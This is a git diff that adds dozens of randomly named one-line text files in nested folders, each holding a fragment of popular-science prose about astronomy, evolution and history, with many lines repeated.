diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/grleavbemvrlnqgwzigr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/grleavbemvrlnqgwzigr.txt
new file mode 100644
index 0000000..e7cf25e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/grleavbemvrlnqgwzigr.txt
@@ -0,0 +1 @@
+Silesian town controlled by Wallenstein and called Sagan. His epitaph, which he himself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/htqlxtfhvfyet.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/htqlxtfhvfyet.txt
new file mode 100644
index 0000000..c43f56c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/htqlxtfhvfyet.txt
@@ -0,0 +1 @@
+out of the constellation, others will enter it, and its configuration will alter dramatically.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/jxhavslod.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/jxhavslod.txt
new file mode 100644
index 0000000..6080aa4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/jxhavslod.txt
@@ -0,0 +1 @@
+world. They pleaded for the global abolition of nuclear weapons. But their pleas went
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/laxnesxglxnn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/laxnesxglxnn.txt
new file mode 100644
index 0000000..2b20dde
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/laxnesxglxnn.txt
@@ -0,0 +1 @@
+amazed at having created a tool that can peer directly into the blazing heart of the Sun. As
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/nnwvfqpnixhefcbicey.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/nnwvfqpnixhefcbicey.txt
new file mode 100644
index 0000000..ab1d2dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/nnwvfqpnixhefcbicey.txt
@@ -0,0 +1 @@
+The cost of major ventures into space - permanent bases on the Moon or human
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/tkpbitfatkyhsbnh.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/tkpbitfatkyhsbnh.txt
new file mode 100644
index 0000000..39b904f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/tkpbitfatkyhsbnh.txt
@@ -0,0 +1 @@
+according to the fixed law of gravity, from so simple a beginning endless forms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/vfelnzedflpmgkiyusec.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/vfelnzedflpmgkiyusec.txt
new file mode 100644
index 0000000..af2ff6e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/vfelnzedflpmgkiyusec.txt
@@ -0,0 +1 @@
+geometry and territoriality. On this scale, intelligent life can be discerned in Boston and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/xpxziwbtdfkm.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/xpxziwbtdfkm.txt
new file mode 100644
index 0000000..7510884
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/xpxziwbtdfkm.txt
@@ -0,0 +1 @@
+cell. This points to a long evolutionary separation of the genetic codes of mitochondria and nuclei, and is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/zahpiailumngbopwn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/zahpiailumngbopwn.txt
new file mode 100644
index 0000000..773c569
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/zahpiailumngbopwn.txt
@@ -0,0 +1 @@
+only to those who go on the journey. There seems to be no way for information to travel
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/bisidgpdhmdjgkc.txt b/big_zip/big-zip-files/folder_nwspazpqqd/bisidgpdhmdjgkc.txt
new file mode 100644
index 0000000..e535371
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/bisidgpdhmdjgkc.txt
@@ -0,0 +1 @@
+attest the unity and simplicity of the plan of the universe, and to make still more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/dlsxkmwegntapwxnzecfaai.txt b/big_zip/big-zip-files/folder_nwspazpqqd/dlsxkmwegntapwxnzecfaai.txt
new file mode 100644
index 0000000..dadd56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/dlsxkmwegntapwxnzecfaai.txt
@@ -0,0 +1 @@
+changed, amended by events, adapted to the world. It is now twenty-three centuries since
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/dqafdzyfi.txt b/big_zip/big-zip-files/folder_nwspazpqqd/dqafdzyfi.txt
new file mode 100644
index 0000000..ab339e9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/dqafdzyfi.txt
@@ -0,0 +1 @@
+sciences. They seemed to forget that the increase of known truths stimulates the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_bljbecfeyrfbkemnhzynt.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_bljbecfeyrfbkemnhzynt.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_bljbecfeyrfbkemnhzynt.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_ctszqpqlyyxaofamju.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_ctszqpqlyyxaofamju.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_ctszqpqlyyxaofamju.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_fosjwcnyt.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_fosjwcnyt.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_fosjwcnyt.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_hueqjahsdf.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_hueqjahsdf.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_hueqjahsdf.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_kfjfxojbntcpof.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_kfjfxojbntcpof.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_kfjfxojbntcpof.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_pbmbvjhfkdkhcclsmhv.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_pbmbvjhfkdkhcclsmhv.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_pbmbvjhfkdkhcclsmhv.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_piqzxijee.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_piqzxijee.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_piqzxijee.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_qqsbshizndwfy.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_qqsbshizndwfy.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_qqsbshizndwfy.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_qrxnttdhpepionzm.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_qrxnttdhpepionzm.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_qrxnttdhpepionzm.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_rfjjkiwfrict.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_rfjjkiwfrict.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_rfjjkiwfrict.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_rkgsvxpm.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_rkgsvxpm.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_rkgsvxpm.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_rnidfrnets.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_rnidfrnets.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_rnidfrnets.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_vpbjmzdefqblswiphtrerp.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_vpbjmzdefqblswiphtrerp.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_vpbjmzdefqblswiphtrerp.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/file_wmlfpgahmnaymlftgcpia.txt b/big_zip/big-zip-files/folder_nwspazpqqd/file_wmlfpgahmnaymlftgcpia.txt
new file mode 100644
index 0000000..0c9f159
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/file_wmlfpgahmnaymlftgcpia.txt
@@ -0,0 +1 @@
+energies are directed exclusively inward, in which conventional perceptions remain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/hqbigorqece.txt b/big_zip/big-zip-files/folder_nwspazpqqd/hqbigorqece.txt
new file mode 100644
index 0000000..8ee9895
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/hqbigorqece.txt
@@ -0,0 +1 @@
+hundred miles from its source.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/ivpwqopdsmmpjtnslfe.txt b/big_zip/big-zip-files/folder_nwspazpqqd/ivpwqopdsmmpjtnslfe.txt
new file mode 100644
index 0000000..c555103
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/ivpwqopdsmmpjtnslfe.txt
@@ -0,0 +1 @@
+The chances of finding another form of intelligence is not. Their brains may well have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/jqoypexupxbudwkkcdaig.txt b/big_zip/big-zip-files/folder_nwspazpqqd/jqoypexupxbudwkkcdaig.txt
new file mode 100644
index 0000000..6bb459c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/jqoypexupxbudwkkcdaig.txt
@@ -0,0 +1 @@
+molecules and for their store of pure hydrogen. Hollow sinkers could have evolved into the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/jvgungmxemge.txt b/big_zip/big-zip-files/folder_nwspazpqqd/jvgungmxemge.txt
new file mode 100644
index 0000000..bad0d0d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/jvgungmxemge.txt
@@ -0,0 +1 @@
+islands and inlets of the Eastern Mediterranean? Why not in the great cities of India or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/kcpvozqtakgkfcovyeaiuyuz.txt b/big_zip/big-zip-files/folder_nwspazpqqd/kcpvozqtakgkfcovyeaiuyuz.txt
new file mode 100644
index 0000000..84de52a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/kcpvozqtakgkfcovyeaiuyuz.txt
@@ -0,0 +1 @@
+objective was the stars. Orion was designed to utilize explosions of hydrogen bombs,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/kzilbdrxzovubrraocuhu.txt b/big_zip/big-zip-files/folder_nwspazpqqd/kzilbdrxzovubrraocuhu.txt
new file mode 100644
index 0000000..0a75542
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/kzilbdrxzovubrraocuhu.txt
@@ -0,0 +1 @@
+real kind of light, carrying death to the microbes. It is invisible to us, but readily detectable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/msrmkwdj.txt b/big_zip/big-zip-files/folder_nwspazpqqd/msrmkwdj.txt
new file mode 100644
index 0000000..b545ece
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/msrmkwdj.txt
@@ -0,0 +1 @@
+in pint milk bottles. We would cross two varieties to see what new forms emerged from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/nflwhaat.txt b/big_zip/big-zip-files/folder_nwspazpqqd/nflwhaat.txt
new file mode 100644
index 0000000..cfdffed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/nflwhaat.txt
@@ -0,0 +1 @@
+mythical, but the time scales are prodigious. A millennium before Europeans were willing to divest
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/oxmmrqtebc.txt b/big_zip/big-zip-files/folder_nwspazpqqd/oxmmrqtebc.txt
new file mode 100644
index 0000000..c091471
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/oxmmrqtebc.txt
@@ -0,0 +1 @@
+dreamed and speculated about the laws of Nature talked with the technologists and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/qbeuyghmktm.txt b/big_zip/big-zip-files/folder_nwspazpqqd/qbeuyghmktm.txt
new file mode 100644
index 0000000..148eb15
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/qbeuyghmktm.txt
@@ -0,0 +1 @@
+mysteries of Mars have, if anything, deepened since Lowell’s day. However, with pictures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/qcrntmpdluosy.txt b/big_zip/big-zip-files/folder_nwspazpqqd/qcrntmpdluosy.txt
new file mode 100644
index 0000000..4699b13
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/qcrntmpdluosy.txt
@@ -0,0 +1 @@
+The early universe was filled with radiation and a plenum of matter, originally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/taaxceaebzrkdyquwyuhz.txt b/big_zip/big-zip-files/folder_nwspazpqqd/taaxceaebzrkdyquwyuhz.txt
new file mode 100644
index 0000000..e288d58
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/taaxceaebzrkdyquwyuhz.txt
@@ -0,0 +1 @@
+We are, in the most profound sense, children of the Cosmos. Think of the Sun’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/tsxkzceeqvgvxoiq.txt b/big_zip/big-zip-files/folder_nwspazpqqd/tsxkzceeqvgvxoiq.txt
new file mode 100644
index 0000000..299178e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/tsxkzceeqvgvxoiq.txt
@@ -0,0 +1 @@
+mainly letters and syllables. But which hieroglyphs correspond to which letters?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/ujijurjodpvkefeivs.txt b/big_zip/big-zip-files/folder_nwspazpqqd/ujijurjodpvkefeivs.txt
new file mode 100644
index 0000000..945c9b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/ujijurjodpvkefeivs.txt
@@ -0,0 +1 @@
+.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/wyszqtmszf.txt b/big_zip/big-zip-files/folder_nwspazpqqd/wyszqtmszf.txt
new file mode 100644
index 0000000..eb62f38
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/wyszqtmszf.txt
@@ -0,0 +1 @@
+seven commanders on the side of darkness. And the seven planets oppress all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/xggovntpchsbttqinykh.txt b/big_zip/big-zip-files/folder_nwspazpqqd/xggovntpchsbttqinykh.txt
new file mode 100644
index 0000000..a7e4910
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/xggovntpchsbttqinykh.txt
@@ -0,0 +1 @@
+incomplete, breeds diversity. With many different islands, there was a variety of political
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/ybmoumzlekau.txt b/big_zip/big-zip-files/folder_nwspazpqqd/ybmoumzlekau.txt
new file mode 100644
index 0000000..fc3251e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/ybmoumzlekau.txt
@@ -0,0 +1 @@
+and dust and stars connecting them. If the red shift is due to the expansion of the universe,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/ypgjhvxoqztnmfzaac.txt b/big_zip/big-zip-files/folder_nwspazpqqd/ypgjhvxoqztnmfzaac.txt
new file mode 100644
index 0000000..07a0d93
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/ypgjhvxoqztnmfzaac.txt
@@ -0,0 +1 @@
+rationales offered by the nuclear superpowers. We know who speaks for the nations. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/yybubyofr.txt b/big_zip/big-zip-files/folder_nwspazpqqd/yybubyofr.txt
new file mode 100644
index 0000000..a7bdd63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/yybubyofr.txt
@@ -0,0 +1 @@
+him to abandon the idea of circular paths and to realize that planets travel in ellipses.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/zcywfyaripeiuayabrgdjzjc.txt b/big_zip/big-zip-files/folder_nwspazpqqd/zcywfyaripeiuayabrgdjzjc.txt
new file mode 100644
index 0000000..8b9a07f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/zcywfyaripeiuayabrgdjzjc.txt
@@ -0,0 +1 @@
+The essence of artificial selection - for a Heike crab, a dog, a cow or an ear of corn -is this: Many physical and behavioral traits of plants and animals are inherited. They breed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nwspazpqqd/zjkgqlrlxnozwmolmpx.txt b/big_zip/big-zip-files/folder_nwspazpqqd/zjkgqlrlxnozwmolmpx.txt
new file mode 100644
index 0000000..929ab28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nwspazpqqd/zjkgqlrlxnozwmolmpx.txt
@@ -0,0 +1 @@
+front of a space telescope, or by using the dark edge of the moon as such a disk - and thereflected light from the planet, no longer hidden by the brightness of the nearby star,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_bhngwuoxvxmswhrbhe.txt b/big_zip/big-zip-files/folder_oetovspdce/file_bhngwuoxvxmswhrbhe.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_bhngwuoxvxmswhrbhe.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_bxjqjjnkknubrdtex.txt b/big_zip/big-zip-files/folder_oetovspdce/file_bxjqjjnkknubrdtex.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_bxjqjjnkknubrdtex.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_cvfzvxvzidauouq.txt b/big_zip/big-zip-files/folder_oetovspdce/file_cvfzvxvzidauouq.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_cvfzvxvzidauouq.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_ebzjtlwmamwyuqjt.txt b/big_zip/big-zip-files/folder_oetovspdce/file_ebzjtlwmamwyuqjt.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_ebzjtlwmamwyuqjt.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_fzfvlxbpbdxbdfjjxexsno.txt b/big_zip/big-zip-files/folder_oetovspdce/file_fzfvlxbpbdxbdfjjxexsno.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_fzfvlxbpbdxbdfjjxexsno.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_gvrbclkrjwxcgqnfyyygupi.txt b/big_zip/big-zip-files/folder_oetovspdce/file_gvrbclkrjwxcgqnfyyygupi.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_gvrbclkrjwxcgqnfyyygupi.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_lvchfwoapj.txt b/big_zip/big-zip-files/folder_oetovspdce/file_lvchfwoapj.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_lvchfwoapj.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_mqsmfryfpwzyizgenq.txt b/big_zip/big-zip-files/folder_oetovspdce/file_mqsmfryfpwzyizgenq.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_mqsmfryfpwzyizgenq.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_nknvubiszsqbem.txt b/big_zip/big-zip-files/folder_oetovspdce/file_nknvubiszsqbem.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_nknvubiszsqbem.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_rineobitmhqsmuxiyadn.txt b/big_zip/big-zip-files/folder_oetovspdce/file_rineobitmhqsmuxiyadn.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_rineobitmhqsmuxiyadn.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_sidjgvrkiuj.txt b/big_zip/big-zip-files/folder_oetovspdce/file_sidjgvrkiuj.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_sidjgvrkiuj.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_uvclvffsl.txt b/big_zip/big-zip-files/folder_oetovspdce/file_uvclvffsl.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_uvclvffsl.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_vxltdsxzzjwllxb.txt b/big_zip/big-zip-files/folder_oetovspdce/file_vxltdsxzzjwllxb.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_vxltdsxzzjwllxb.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_xqilkclm.txt b/big_zip/big-zip-files/folder_oetovspdce/file_xqilkclm.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_xqilkclm.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_xubuxtijyhtmbjxcgyj.txt b/big_zip/big-zip-files/folder_oetovspdce/file_xubuxtijyhtmbjxcgyj.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_xubuxtijyhtmbjxcgyj.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/file_yaaynsxmh.txt b/big_zip/big-zip-files/folder_oetovspdce/file_yaaynsxmh.txt
new file mode 100644
index 0000000..5e482e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/file_yaaynsxmh.txt
@@ -0,0 +1 @@
+descended from a fish with four or six phalanges, we would have four or six fingers on each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/ggaudayrwjdgsfqhblcipvp.txt b/big_zip/big-zip-files/folder_oetovspdce/ggaudayrwjdgsfqhblcipvp.txt
new file mode 100644
index 0000000..8f5635b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/ggaudayrwjdgsfqhblcipvp.txt
@@ -0,0 +1 @@
+Rebuffed, unhappy at the obtuseness of the very flat, the apple bumps the square
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/hprboflwtgcnlswa.txt b/big_zip/big-zip-files/folder_oetovspdce/hprboflwtgcnlswa.txt
new file mode 100644
index 0000000..02bc77e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/hprboflwtgcnlswa.txt
@@ -0,0 +1 @@
+outside the rings of Saturn there is a system of satellites varying in size from a few hundred
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/izkslepobigzvlshletbp.txt b/big_zip/big-zip-files/folder_oetovspdce/izkslepobigzvlshletbp.txt
new file mode 100644
index 0000000..c1e142e
--- /dev/null
